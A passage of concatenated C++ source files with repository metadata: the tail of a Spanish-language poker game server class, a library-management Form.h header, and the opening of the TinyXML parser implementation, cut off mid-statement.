ganador->getApuesta() / fichasQueNoSeReparten); nombresGanadores.push_back(ganador->getNombre()); } } void ContextoJuego::finalizarRonda() { if (this->cantidadJugadoresRonda > 1) { this->mostrandoCartas = true; } if (this->cantidadJugadoresRonda > 0) { this->evaluarGanador(); this->timerMostrandoGanador.iniciar(); } for (int i = 0; i < MAX_CANTIDAD_JUGADORES; i++) { JugadorModelo* jugador = this->admJugadores->getJugadores()[i]; if (!jugador->isActivo()) { this->admJugadores->quitarJugador(this->idJugadorToIdCliente(jugador->getId())); if (this->admJugadores->isDealerJugador(jugador->getId()) && this->admJugadores->getCantidadJugadoresActivos() > 0) { this->admJugadores->resetearDealer(); this->admJugadores->incrementarDealer(); } } } AccesoDatos dao; for (int i = 0; i < MAX_CANTIDAD_JUGADORES; i++) { JugadorModelo* jugador = this->admJugadores->getJugadores()[i]; jugador->setApuesta(0); dao.actualizarFichas(jugador->getNombre(), jugador->getFichas()); if (jugador->isJugandoRonda() && jugador->getFichas() <= this->mesa->getSmallBlind() * 2) { jugador->setJugandoRonda(false); jugador->setCarta1(NULL); jugador->setCarta2(NULL); jugador->setActivo(false); } } } string ContextoJuego::getEscenarioJuego(int idCliente){ int idJugador = this->admJugadores->idClienteToIdJugador(idCliente); this->estado = this->estado->getSiguienteEstado(); return this->estado->getEscenarioJuego(idJugador); } string ContextoJuego::getEscenarioJuego(int idCliente, string mensaje){ int idJugador = this->admJugadores->idClienteToIdJugador(idCliente); this->estado = this->estado->getSiguienteEstado(); return this->estado->getEscenarioJuego(idJugador, mensaje); } JugadorModelo** ContextoJuego::getJugadores() { return this->admJugadores->getJugadores(); } JugadorModelo* ContextoJuego::getJugador(int idJugador){ return this->admJugadores->getJugadorPorPosicion(idJugador + 1); } void ContextoJuego::setMostrandoCartas(bool mostrandoCartas){ this->mostrandoCartas = mostrandoCartas; } bool ContextoJuego::getMostrandoCartas(){ return this->mostrandoCartas; } bool ContextoJuego::hayLugar(){ return this->admJugadores->hayLugar(); } JugadorModelo* ContextoJuego::agregarJugador(int idCliente, string nombreJugador, string nombreImagen, int fichas, bool esVirtual, bool esObservador){ return this->admJugadores->agregarJugador(idCliente, nombreJugador, nombreImagen, fichas, esVirtual, esObservador); } void ContextoJuego::quitarJugador(int idCliente){ AccesoDatos dao; JugadorModelo* jugador = this->admJugadores->getJugador(idCliente); if (this->isTurnoCliente(idCliente) && !this->mostrandoCartas) { this->noIr(idCliente); } else { if (jugador != NULL && jugador->isJugandoRonda() && !this->mostrandoCartas) { if (this->cantidadJugadoresRonda > 0) { this->cantidadJugadoresRonda--; } if (this->cantidadJugadoresRonda > 1) { if (this->admJugadores->isDealerJugador(jugador->getId())) { this->admJugadores->incrementarDealerTemp(); } if (this->admJugadores->isJugadorQueCierra(jugador->getId())){ this->admJugadores->decrementarJugadorQueCierra(); } jugador->setJugandoRonda(false); if (!(this->rondaAllIn || this->rondaTerminada)) { chequearRondaAllIn(); } } else { jugador->setJugandoRonda(false); this->finalizarRonda(); this->estado = this->evaluandoGanador; } } } if (jugador != NULL) { dao.actualizarFichas(jugador->getNombre(), jugador->getFichas()); } this->admJugadores->quitarJugador(idCliente); } int ContextoJuego::getCantidadJugadoresActivos(){ //return this->admJugadores->getCantidadJugadoresActivos(); int jugadoresActivos = 0; for (int i = 0; i < MAX_CANTIDAD_JUGADORES; i++) { JugadorModelo* jugador = this->admJugadores->getJugadores()[i]; if (jugador->isActivo() && jugador->getFichas() > this->mesa->getSmallBlind() * 2) { jugadoresActivos++; } } return jugadoresActivos; } bool ContextoJuego::isTurnoJugador(int idJugador){ if (this->estado != this->esperandoJugadores && this->estado != this->evaluandoGanador) { this->chequearTimeoutJugador(idJugador); } return this->admJugadores->isTurnoJugador(idJugador); } void ContextoJuego::chequearTimeoutJugador(int idJugador) { JugadorModelo* jugador = this->admJugadores->getJugadorTurno(); if (jugador != NULL && jugador->isActivo() && !jugador->isVirtual() && jugador->getSegundosTurno() > ContextoJuego::segsTimeoutJugadores) { this->noIr(this->idJugadorToIdCliente(jugador->getId())); jugador->setActivo(false); } } bool ContextoJuego::isTurnoCliente(int idCliente){ if (this->estado != this->esperandoJugadores && this->estado != this->evaluandoGanador) { this->chequearTimeoutJugador(this->idClienteToIdJugador(idCliente)); } return this->admJugadores->isTurnoCliente(idCliente); } list<string> ContextoJuego::getNombresGanadores(){ return this->nombresGanadores; } int ContextoJuego::idClienteToIdJugador(int idCliente){ return this->admJugadores->idClienteToIdJugador(idCliente); } int ContextoJuego::idJugadorToIdCliente(int idJugador){ return this->admJugadores->idJugadorToIdCliente(idJugador); } int ContextoJuego::getMontoAIgualar(){ return this->montoAIgualar; } void ContextoJuego::chequearJugadorVirtual(int idCliente) { JugadorModelo* jugador = this->admJugadores->getJugador(idCliente); if (jugador != NULL && jugador->isVirtual() && this->estado != this->esperandoJugadores && this->estado != this->evaluandoGanador && this->isTurnoJugador(jugador->getId())) { jugador->jugar(); } } bool ContextoJuego::puedePasar(){ return this->sePuedePasar; }
[ "[email protected]@a9434d28-8610-e991-b0d0-89a272e3a296", "marianofl85@a9434d28-8610-e991-b0d0-89a272e3a296", "luchopal@a9434d28-8610-e991-b0d0-89a272e3a296" ]
[ [ [ 1, 1 ], [ 5, 10 ], [ 12, 31 ], [ 36, 38 ], [ 40, 57 ], [ 62, 70 ], [ 91, 94 ], [ 98, 106 ], [ 111, 125 ], [ 128, 129 ], [ 132, 133 ], [ 136, 137 ], [ 142, 142 ], [ 147, 147 ], [ 149, 149 ], [ 156, 157 ], [ 160, 163 ], [ 165, 170 ], [ 172, 172 ], [ 177, 179 ], [ 182, 186 ], [ 197, 202 ], [ 204, 204 ], [ 209, 222 ], [ 226, 231 ], [ 233, 237 ], [ 240, 243 ], [ 264, 264 ], [ 272, 290 ], [ 292, 301 ], [ 303, 308 ], [ 316, 316 ], [ 328, 334 ], [ 336, 336 ], [ 339, 344 ], [ 357, 357 ], [ 363, 363 ], [ 369, 369 ], [ 376, 376 ], [ 378, 379 ], [ 385, 385 ], [ 387, 387 ], [ 389, 392 ], [ 445, 448 ], [ 454, 469 ], [ 472, 474 ], [ 483, 518 ], [ 520, 523 ], [ 525, 528 ], [ 531, 531 ], [ 533, 533 ], [ 536, 538 ], [ 540, 540 ], [ 542, 544 ], [ 549, 549 ], [ 554, 554 ], [ 556, 558 ], [ 562, 566 ], [ 570, 570 ], [ 580, 608 ], [ 611, 637 ] ], [ [ 2, 4 ], [ 11, 11 ], [ 32, 35 ], [ 39, 39 ], [ 58, 61 ], [ 71, 90 ], [ 95, 97 ], [ 107, 110 ], [ 126, 127 ], [ 130, 131 ], [ 134, 135 ], [ 138, 141 ], [ 143, 146 ], [ 148, 148 ], [ 150, 155 ], [ 158, 159 ], [ 164, 164 ], [ 171, 171 ], [ 173, 176 ], [ 180, 181 ], [ 187, 196 ], [ 203, 203 ], [ 205, 208 ], [ 223, 225 ], [ 232, 232 ], [ 238, 239 ], [ 244, 263 ], [ 265, 271 ], [ 291, 291 ], [ 302, 302 ], [ 309, 315 ], [ 317, 327 ], [ 335, 335 ], [ 337, 338 ], [ 345, 356 ], [ 358, 362 ], [ 364, 368 ], [ 370, 375 ], [ 377, 377 ], [ 380, 384 ], [ 386, 386 ], [ 388, 388 ], [ 393, 444 ], [ 449, 453 ], [ 470, 471 ], [ 475, 482 ], [ 519, 519 ], [ 524, 524 ], [ 529, 530 ], [ 532, 532 ], [ 534, 535 ], [ 539, 539 ], [ 541, 541 ], [ 545, 548 ], [ 550, 553 ], [ 555, 555 ], [ 559, 561 ], [ 567, 569 ], [ 571, 579 ], [ 609, 610 ] ], [ [ 638, 638 ] ] ]
3ec1a4a7a223a0118f2adde58d3f6f54846ee45f
a9cf0c2a8904e42a206c3575b244f8b0850dd7af
/forms/Form.h
3dc394f0ab2c708da31239ad7f5f360d0fefbacd
[]
no_license
jayrulez/ourlib
3a38751ccb6a38785d4df6f508daeff35ccfd09f
e4727d638f2d69ea29114dc82b9687ea1fd17a2d
refs/heads/master
2020-04-22T15:42:00.891099
2010-01-06T20:00:17
2010-01-06T20:00:17
40,554,487
0
0
null
null
null
null
UTF-8
C++
false
false
1,628
h
/* @Group: BSC2D @Group Members: <ul> <li>Robert Campbell: 0701334</li> <li>Audley Gordon: 0802218</li> <li>Dale McFarlane: 0801042</li> <li>Dyonne Duberry: 0802189</li> <li>Xavier Lowe: 0802488</li> </ul> @ */ #ifndef FORM_H #define FORM_H #ifndef _REFERENCEMATERIAL_H #include "../ReferenceMaterial.h" #endif #ifndef _MEMBER_H #include "../Member.h" #endif #ifndef _TEXTBOOK_H #include "../TextBook.h" #endif #ifndef _LOAN_H #include "../Loan.h" #endif #include <string> using namespace std; #define STATE_DEFAULT 0 #define STATE_SUCCESS 1 #define STATE_ERROR 2 #define STATE_FAILURE 3 #define TYPE_ADD 1 #define TYPE_EDIT 2 class Form { private: int state; string error; ReferenceMaterial * model; Member * member; string referenceNumber; int formType; Loan *loan; public: Form(); virtual ~Form(); virtual void show(); virtual void browseForm(); virtual void browseEditForm(string); virtual void save(); virtual bool validate(); void setError(string); void setState(int); int getState() const; string getError() const; bool hasError() const; void setModel(ReferenceMaterial*); void setMember(Member*); Member* getMember(); void setFormType(int); int getFormType() const; ReferenceMaterial* getModel(); void setReferenceNumber(string); string getReferenceNumber() const; virtual void editSave(); Loan* getLoan(); void setLoan(Loan*); }; #endif // FORM_H
[ "[email protected]", "portmore.leader@2838b242-c2a8-11de-a0e9-83d03c287164" ]
[ [ [ 1, 55 ], [ 57, 74 ] ], [ [ 56, 56 ] ] ]
bb243aae8ff7e6c0d7c0e2d4d4cfc77431689007
d71665b4e115bbf0abc680bb1c7eb31e69d86a1d
/SpacescapePlugin/src/tinyxml.cpp
7dab21a652e650b29630e1254cbf05385c3a55ad
[ "MIT" ]
permissive
svenstaro/Spacescape
73c140d06fe4ae76ac1a613295f1e9f96cdda3bb
5a53ba43f8e4e78ca32ee5bb3d396ca7b0b71f7d
refs/heads/master
2021-01-02T09:08:59.624369
2010-04-05T04:28:57
2010-04-05T04:28:57
589,597
7
6
null
null
null
null
UTF-8
C++
false
false
40,791
cpp
/* www.sourceforge.net/projects/tinyxml Original code (2.0 and earlier )copyright (c) 2000-2006 Lee Thomason (www.grinninglizard.com) This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. */ #include "tinyxml.h" #include <ctype.h> #ifdef TIXML_USE_STL #include <sstream> #include <iostream> #endif bool TiXmlBase::condenseWhiteSpace = true; // Microsoft compiler security FILE* TiXmlFOpen( const char* filename, const char* mode ) { #if defined(_MSC_VER) && (_MSC_VER >= 1400 ) FILE* fp = 0; errno_t err = fopen_s( &fp, filename, mode ); if ( !err && fp ) return fp; return 0; #else return fopen( filename, mode ); #endif } void TiXmlBase::EncodeString( const TIXML_STRING& str, TIXML_STRING* outString ) { int i=0; while( i<(int)str.length() ) { unsigned char c = (unsigned char) str[i]; if ( c == '&' && i < ( (int)str.length() - 2 ) && str[i+1] == '#' && str[i+2] == 'x' ) { // Hexadecimal character reference. // Pass through unchanged. // &#xA9; -- copyright symbol, for example. // // The -1 is a bug fix from Rob Laveaux. It keeps // an overflow from happening if there is no ';'. // There are actually 2 ways to exit this loop - // while fails (error case) and break (semicolon found). // However, there is no mechanism (currently) for // this function to return an error. while ( i<(int)str.length()-1 ) { outString->append( str.c_str() + i, 1 ); ++i; if ( str[i] == ';' ) break; } } else if ( c == '&' ) { outString->append( entity[0].str, entity[0].strLength ); ++i; } else if ( c == '<' ) { outString->append( entity[1].str, entity[1].strLength ); ++i; } else if ( c == '>' ) { outString->append( entity[2].str, entity[2].strLength ); ++i; } else if ( c == '\"' ) { outString->append( entity[3].str, entity[3].strLength ); ++i; } else if ( c == '\'' ) { outString->append( entity[4].str, entity[4].strLength ); ++i; } else if ( c < 32 ) { // Easy pass at non-alpha/numeric/symbol // Below 32 is symbolic. char buf[ 32 ]; #if defined(TIXML_SNPRINTF) TIXML_SNPRINTF( buf, sizeof(buf), "&#x%02X;", (unsigned) ( c & 0xff ) ); #else sprintf( buf, "&#x%02X;", (unsigned) ( c & 0xff ) ); #endif //*ME: warning C4267: convert 'size_t' to 'int' //*ME: Int-Cast to make compiler happy ... outString->append( buf, (int)strlen( buf ) ); ++i; } else { //char realc = (char) c; //outString->append( &realc, 1 ); *outString += (char) c; // somewhat more efficient function call. ++i; } } } TiXmlNode::TiXmlNode( NodeType _type ) : TiXmlBase() { parent = 0; type = _type; firstChild = 0; lastChild = 0; prev = 0; next = 0; } TiXmlNode::~TiXmlNode() { TiXmlNode* node = firstChild; TiXmlNode* temp = 0; while ( node ) { temp = node; node = node->next; delete temp; } } void TiXmlNode::CopyTo( TiXmlNode* target ) const { target->SetValue (value.c_str() ); target->userData = userData; } void TiXmlNode::Clear() { TiXmlNode* node = firstChild; TiXmlNode* temp = 0; while ( node ) { temp = node; node = node->next; delete temp; } firstChild = 0; lastChild = 0; } TiXmlNode* TiXmlNode::LinkEndChild( TiXmlNode* node ) { assert( node->parent == 0 || node->parent == this ); assert( node->GetDocument() == 0 || node->GetDocument() == this->GetDocument() ); if ( node->Type() == TiXmlNode::DOCUMENT ) { delete node; if ( GetDocument() ) GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); return 0; } node->parent = this; node->prev = lastChild; node->next = 0; if ( lastChild ) lastChild->next = node; else firstChild = node; // it was an empty list. lastChild = node; return node; } TiXmlNode* TiXmlNode::InsertEndChild( const TiXmlNode& addThis ) { if ( addThis.Type() == TiXmlNode::DOCUMENT ) { if ( GetDocument() ) GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); return 0; } TiXmlNode* node = addThis.Clone(); if ( !node ) return 0; return LinkEndChild( node ); } TiXmlNode* TiXmlNode::InsertBeforeChild( TiXmlNode* beforeThis, const TiXmlNode& addThis ) { if ( !beforeThis || beforeThis->parent != this ) { return 0; } if ( addThis.Type() == TiXmlNode::DOCUMENT ) { if ( GetDocument() ) GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); return 0; } TiXmlNode* node = addThis.Clone(); if ( !node ) return 0; node->parent = this; node->next = beforeThis; node->prev = beforeThis->prev; if ( beforeThis->prev ) { beforeThis->prev->next = node; } else { assert( firstChild == beforeThis ); firstChild = node; } beforeThis->prev = node; return node; } TiXmlNode* TiXmlNode::InsertAfterChild( TiXmlNode* afterThis, const TiXmlNode& addThis ) { if ( !afterThis || afterThis->parent != this ) { return 0; } if ( addThis.Type() == TiXmlNode::DOCUMENT ) { if ( GetDocument() ) GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); return 0; } TiXmlNode* node = addThis.Clone(); if ( !node ) return 0; node->parent = this; node->prev = afterThis; node->next = afterThis->next; if ( afterThis->next ) { afterThis->next->prev = node; } else { assert( lastChild == afterThis ); lastChild = node; } afterThis->next = node; return node; } TiXmlNode* TiXmlNode::ReplaceChild( TiXmlNode* replaceThis, const TiXmlNode& withThis ) { if ( replaceThis->parent != this ) return 0; TiXmlNode* node = withThis.Clone(); if ( !node ) return 0; node->next = replaceThis->next; node->prev = replaceThis->prev; if ( replaceThis->next ) replaceThis->next->prev = node; else lastChild = node; if ( replaceThis->prev ) replaceThis->prev->next = node; else firstChild = node; delete replaceThis; node->parent = this; return node; } bool TiXmlNode::RemoveChild( TiXmlNode* removeThis ) { if ( removeThis->parent != this ) { assert( 0 ); return false; } if ( removeThis->next ) removeThis->next->prev = removeThis->prev; else lastChild = removeThis->prev; if ( removeThis->prev ) removeThis->prev->next = removeThis->next; else firstChild = removeThis->next; delete removeThis; return true; } const TiXmlNode* TiXmlNode::FirstChild( const char * _value ) const { const TiXmlNode* node; for ( node = firstChild; node; node = node->next ) { if ( strcmp( node->Value(), _value ) == 0 ) return node; } return 0; } const TiXmlNode* TiXmlNode::LastChild( const char * _value ) const { const TiXmlNode* node; for ( node = lastChild; node; node = node->prev ) { if ( strcmp( node->Value(), _value ) == 0 ) return node; } return 0; } const TiXmlNode* TiXmlNode::IterateChildren( const TiXmlNode* previous ) const { if ( !previous ) { return FirstChild(); } else { assert( previous->parent == this ); return previous->NextSibling(); } } const TiXmlNode* TiXmlNode::IterateChildren( const char * val, const TiXmlNode* previous ) const { if ( !previous ) { return FirstChild( val ); } else { assert( previous->parent == this ); return previous->NextSibling( val ); } } const TiXmlNode* TiXmlNode::NextSibling( const char * _value ) const { const TiXmlNode* node; for ( node = next; node; node = node->next ) { if ( strcmp( node->Value(), _value ) == 0 ) return node; } return 0; } const TiXmlNode* TiXmlNode::PreviousSibling( const char * _value ) const { const TiXmlNode* node; for ( node = prev; node; node = node->prev ) { if ( strcmp( node->Value(), _value ) == 0 ) return node; } return 0; } void TiXmlElement::RemoveAttribute( const char * name ) { #ifdef TIXML_USE_STL TIXML_STRING str( name ); TiXmlAttribute* node = attributeSet.Find( str ); #else TiXmlAttribute* node = attributeSet.Find( name ); #endif if ( node ) { attributeSet.Remove( node ); delete node; } } const TiXmlElement* TiXmlNode::FirstChildElement() const { const TiXmlNode* node; for ( node = FirstChild(); node; node = node->NextSibling() ) { if ( node->ToElement() ) return node->ToElement(); } return 0; } const TiXmlElement* TiXmlNode::FirstChildElement( const char * _value ) const { const TiXmlNode* node; for ( node = FirstChild( _value ); node; node = node->NextSibling( _value ) ) { if ( node->ToElement() ) return node->ToElement(); } return 0; } const TiXmlElement* TiXmlNode::NextSiblingElement() const { const TiXmlNode* node; for ( node = NextSibling(); node; node = node->NextSibling() ) { if ( node->ToElement() ) return node->ToElement(); } return 0; } const TiXmlElement* TiXmlNode::NextSiblingElement( const char * _value ) const { const TiXmlNode* node; for ( node = NextSibling( _value ); node; node = node->NextSibling( _value ) ) { if ( node->ToElement() ) return node->ToElement(); } return 0; } const TiXmlDocument* TiXmlNode::GetDocument() const { const TiXmlNode* node; for( node = this; node; node = node->parent ) { if ( node->ToDocument() ) return node->ToDocument(); } return 0; } TiXmlElement::TiXmlElement (const char * _value) : TiXmlNode( TiXmlNode::ELEMENT ) { firstChild = lastChild = 0; value = _value; } #ifdef TIXML_USE_STL TiXmlElement::TiXmlElement( const std::string& _value ) : TiXmlNode( TiXmlNode::ELEMENT ) { firstChild = lastChild = 0; value = _value; } #endif TiXmlElement::TiXmlElement( const TiXmlElement& copy) : TiXmlNode( TiXmlNode::ELEMENT ) { firstChild = lastChild = 0; copy.CopyTo( this ); } void TiXmlElement::operator=( const TiXmlElement& base ) { ClearThis(); base.CopyTo( this ); } TiXmlElement::~TiXmlElement() { ClearThis(); } void TiXmlElement::ClearThis() { Clear(); while( attributeSet.First() ) { TiXmlAttribute* node = attributeSet.First(); attributeSet.Remove( node ); delete node; } } const char* TiXmlElement::Attribute( const char* name ) const { const TiXmlAttribute* node = attributeSet.Find( name ); if ( node ) return node->Value(); return 0; } #ifdef TIXML_USE_STL const std::string* TiXmlElement::Attribute( const std::string& name ) const { const TiXmlAttribute* node = attributeSet.Find( name ); if ( node ) return &node->ValueStr(); return 0; } #endif const char* TiXmlElement::Attribute( const char* name, int* i ) const { const char* s = Attribute( name ); if ( i ) { if ( s ) { *i = atoi( s ); } else { *i = 0; } } return s; } #ifdef TIXML_USE_STL const std::string* TiXmlElement::Attribute( const std::string& name, int* i ) const { const std::string* s = Attribute( name ); if ( i ) { if ( s ) { *i = atoi( s->c_str() ); } else { *i = 0; } } return s; } #endif const char* TiXmlElement::Attribute( const char* name, double* d ) const { const char* s = Attribute( name ); if ( d ) { if ( s ) { *d = atof( s ); } else { *d = 0; } } return s; } #ifdef TIXML_USE_STL const std::string* TiXmlElement::Attribute( const std::string& name, double* d ) const { const std::string* s = Attribute( name ); if ( d ) { if ( s ) { *d = atof( s->c_str() ); } else { *d = 0; } } return s; } #endif int TiXmlElement::QueryIntAttribute( const char* name, int* ival ) const { const TiXmlAttribute* node = attributeSet.Find( name ); if ( !node ) return TIXML_NO_ATTRIBUTE; return node->QueryIntValue( ival ); } #ifdef TIXML_USE_STL int TiXmlElement::QueryIntAttribute( const std::string& name, int* ival ) const { const TiXmlAttribute* node = attributeSet.Find( name ); if ( !node ) return TIXML_NO_ATTRIBUTE; return node->QueryIntValue( ival ); } #endif int TiXmlElement::QueryDoubleAttribute( const char* name, double* dval ) const { const TiXmlAttribute* node = attributeSet.Find( name ); if ( !node ) return TIXML_NO_ATTRIBUTE; return node->QueryDoubleValue( dval ); } #ifdef TIXML_USE_STL int TiXmlElement::QueryDoubleAttribute( const std::string& name, double* dval ) const { const TiXmlAttribute* node = attributeSet.Find( name ); if ( !node ) return TIXML_NO_ATTRIBUTE; return node->QueryDoubleValue( dval ); } #endif void TiXmlElement::SetAttribute( const char * name, int val ) { char buf[64]; #if defined(TIXML_SNPRINTF) TIXML_SNPRINTF( buf, sizeof(buf), "%d", val ); #else sprintf( buf, "%d", val ); #endif SetAttribute( name, buf ); } #ifdef TIXML_USE_STL void TiXmlElement::SetAttribute( const std::string& name, int val ) { std::ostringstream oss; oss << val; SetAttribute( name, oss.str() ); } #endif void TiXmlElement::SetDoubleAttribute( const char * name, double val ) { char buf[256]; #if defined(TIXML_SNPRINTF) TIXML_SNPRINTF( buf, sizeof(buf), "%f", val ); #else sprintf( buf, "%f", val ); #endif SetAttribute( name, buf ); } void TiXmlElement::SetAttribute( const char * cname, const char * cvalue ) { #ifdef TIXML_USE_STL TIXML_STRING _name( cname ); TIXML_STRING _value( cvalue ); #else const char* _name = cname; const char* _value = cvalue; #endif TiXmlAttribute* node = attributeSet.Find( _name ); if ( node ) { node->SetValue( _value ); return; } TiXmlAttribute* attrib = new TiXmlAttribute( cname, cvalue ); if ( attrib ) { attributeSet.Add( attrib ); } else { TiXmlDocument* document = GetDocument(); if ( document ) document->SetError( TIXML_ERROR_OUT_OF_MEMORY, 0, 0, TIXML_ENCODING_UNKNOWN ); } } #ifdef TIXML_USE_STL void TiXmlElement::SetAttribute( const std::string& name, const std::string& _value ) { TiXmlAttribute* node = attributeSet.Find( name ); if ( node ) { node->SetValue( _value ); return; } TiXmlAttribute* attrib = new TiXmlAttribute( name, _value ); if ( attrib ) { attributeSet.Add( attrib ); } else { TiXmlDocument* document = GetDocument(); if ( document ) document->SetError( TIXML_ERROR_OUT_OF_MEMORY, 0, 0, TIXML_ENCODING_UNKNOWN ); } } #endif void TiXmlElement::Print( FILE* cfile, int depth ) const { int i; assert( cfile ); for ( i=0; i<depth; i++ ) { fprintf( cfile, " " ); } fprintf( cfile, "<%s", value.c_str() ); const TiXmlAttribute* attrib; for ( attrib = attributeSet.First(); attrib; attrib = attrib->Next() ) { fprintf( cfile, " " ); attrib->Print( cfile, depth ); } // There are 3 different formatting approaches: // 1) An element without children is printed as a <foo /> node // 2) An element with only a text child is printed as <foo> text </foo> // 3) An element with children is printed on multiple lines. TiXmlNode* node; if ( !firstChild ) { fprintf( cfile, " />" ); } else if ( firstChild == lastChild && firstChild->ToText() ) { fprintf( cfile, ">" ); firstChild->Print( cfile, depth + 1 ); fprintf( cfile, "</%s>", value.c_str() ); } else { fprintf( cfile, ">" ); for ( node = firstChild; node; node=node->NextSibling() ) { if ( !node->ToText() ) { fprintf( cfile, "\n" ); } node->Print( cfile, depth+1 ); } fprintf( cfile, "\n" ); for( i=0; i<depth; ++i ) { fprintf( cfile, " " ); } fprintf( cfile, "</%s>", value.c_str() ); } } void TiXmlElement::CopyTo( TiXmlElement* target ) const { // superclass: TiXmlNode::CopyTo( target ); // Element class: // Clone the attributes, then clone the children. const TiXmlAttribute* attribute = 0; for( attribute = attributeSet.First(); attribute; attribute = attribute->Next() ) { target->SetAttribute( attribute->Name(), attribute->Value() ); } TiXmlNode* node = 0; for ( node = firstChild; node; node = node->NextSibling() ) { target->LinkEndChild( node->Clone() ); } } bool TiXmlElement::Accept( TiXmlVisitor* visitor ) const { if ( visitor->VisitEnter( *this, attributeSet.First() ) ) { for ( const TiXmlNode* node=FirstChild(); node; node=node->NextSibling() ) { if ( !node->Accept( visitor ) ) break; } } return visitor->VisitExit( *this ); } TiXmlNode* TiXmlElement::Clone() const { TiXmlElement* clone = new TiXmlElement( Value() ); if ( !clone ) return 0; CopyTo( clone ); return clone; } const char* TiXmlElement::GetText() const { const TiXmlNode* child = this->FirstChild(); if ( child ) { const TiXmlText* childText = child->ToText(); if ( childText ) { return childText->Value(); } } return 0; } TiXmlDocument::TiXmlDocument() : TiXmlNode( TiXmlNode::DOCUMENT ) { tabsize = 4; useMicrosoftBOM = false; ClearError(); } TiXmlDocument::TiXmlDocument( const char * documentName ) : TiXmlNode( TiXmlNode::DOCUMENT ) { tabsize = 4; useMicrosoftBOM = false; value = documentName; ClearError(); } #ifdef TIXML_USE_STL TiXmlDocument::TiXmlDocument( const std::string& documentName ) : TiXmlNode( TiXmlNode::DOCUMENT ) { tabsize = 4; useMicrosoftBOM = false; value = documentName; ClearError(); } #endif TiXmlDocument::TiXmlDocument( const TiXmlDocument& copy ) : TiXmlNode( TiXmlNode::DOCUMENT ) { copy.CopyTo( this ); } void TiXmlDocument::operator=( const TiXmlDocument& copy ) { Clear(); copy.CopyTo( this ); } bool TiXmlDocument::LoadFile( TiXmlEncoding encoding ) { // See STL_STRING_BUG below. //StringToBuffer buf( value ); return LoadFile( Value(), encoding ); } bool TiXmlDocument::SaveFile() const { // See STL_STRING_BUG below. // StringToBuffer buf( value ); // // if ( buf.buffer && SaveFile( buf.buffer ) ) // return true; // // return false; return SaveFile( Value() ); } bool TiXmlDocument::LoadFile( const char* _filename, TiXmlEncoding encoding ) { // There was a really terrifying little bug here. The code: // value = filename // in the STL case, cause the assignment method of the std::string to // be called. What is strange, is that the std::string had the same // address as it's c_str() method, and so bad things happen. Looks // like a bug in the Microsoft STL implementation. // Add an extra string to avoid the crash. TIXML_STRING filename( _filename ); value = filename; // reading in binary mode so that tinyxml can normalize the EOL FILE* file = TiXmlFOpen( value.c_str (), "rb" ); if ( file ) { bool result = LoadFile( file, encoding ); fclose( file ); return result; } else { SetError( TIXML_ERROR_OPENING_FILE, 0, 0, TIXML_ENCODING_UNKNOWN ); return false; } } bool TiXmlDocument::LoadFile( FILE* file, TiXmlEncoding encoding ) { if ( !file ) { SetError( TIXML_ERROR_OPENING_FILE, 0, 0, TIXML_ENCODING_UNKNOWN ); return false; } // Delete the existing data: Clear(); location.Clear(); // Get the file size, so we can pre-allocate the string. HUGE speed impact. long length = 0; fseek( file, 0, SEEK_END ); length = ftell( file ); fseek( file, 0, SEEK_SET ); // Strange case, but good to handle up front. if ( length <= 0 ) { SetError( TIXML_ERROR_DOCUMENT_EMPTY, 0, 0, TIXML_ENCODING_UNKNOWN ); return false; } // If we have a file, assume it is all one big XML file, and read it in. // The document parser may decide the document ends sooner than the entire file, however. TIXML_STRING data; data.reserve( length ); // Subtle bug here. TinyXml did use fgets. But from the XML spec: // 2.11 End-of-Line Handling // <snip> // <quote> // ...the XML processor MUST behave as if it normalized all line breaks in external // parsed entities (including the document entity) on input, before parsing, by translating // both the two-character sequence #xD #xA and any #xD that is not followed by #xA to // a single #xA character. // </quote> // // It is not clear fgets does that, and certainly isn't clear it works cross platform. // Generally, you expect fgets to translate from the convention of the OS to the c/unix // convention, and not work generally. /* while( fgets( buf, sizeof(buf), file ) ) { data += buf; } */ char* buf = new char[ length+1 ]; buf[0] = 0; if ( fread( buf, length, 1, file ) != 1 ) { delete [] buf; SetError( TIXML_ERROR_OPENING_FILE, 0, 0, TIXML_ENCODING_UNKNOWN ); return false; } const char* lastPos = buf; const char* p = buf; buf[length] = 0; while( *p ) { assert( p < (buf+length) ); if ( *p == 0xa ) { // Newline character. No special rules for this. Append all the characters // since the last string, and include the newline. data.append( lastPos, (p-lastPos+1) ); // append, include the newline ++p; // move past the newline lastPos = p; // and point to the new buffer (may be 0) assert( p <= (buf+length) ); } else if ( *p == 0xd ) { // Carriage return. Append what we have so far, then // handle moving forward in the buffer. if ( (p-lastPos) > 0 ) { data.append( lastPos, p-lastPos ); // do not add the CR } data += (char)0xa; // a proper newline if ( *(p+1) == 0xa ) { // Carriage return - new line sequence p += 2; lastPos = p; assert( p <= (buf+length) ); } else { // it was followed by something else...that is presumably characters again. ++p; lastPos = p; assert( p <= (buf+length) ); } } else { ++p; } } // Handle any left over characters. if ( p-lastPos ) { data.append( lastPos, p-lastPos ); } delete [] buf; buf = 0; Parse( data.c_str(), 0, encoding ); if ( Error() ) return false; else return true; } bool TiXmlDocument::SaveFile( const char * filename ) const { // The old c stuff lives on... FILE* fp = TiXmlFOpen( filename, "w" ); if ( fp ) { bool result = SaveFile( fp ); fclose( fp ); return result; } return false; } bool TiXmlDocument::SaveFile( FILE* fp ) const { if ( useMicrosoftBOM ) { const unsigned char TIXML_UTF_LEAD_0 = 0xefU; const unsigned char TIXML_UTF_LEAD_1 = 0xbbU; const unsigned char TIXML_UTF_LEAD_2 = 0xbfU; fputc( TIXML_UTF_LEAD_0, fp ); fputc( TIXML_UTF_LEAD_1, fp ); fputc( TIXML_UTF_LEAD_2, fp ); } Print( fp, 0 ); return (ferror(fp) == 0); } void TiXmlDocument::CopyTo( TiXmlDocument* target ) const { TiXmlNode::CopyTo( target ); target->error = error; target->errorId 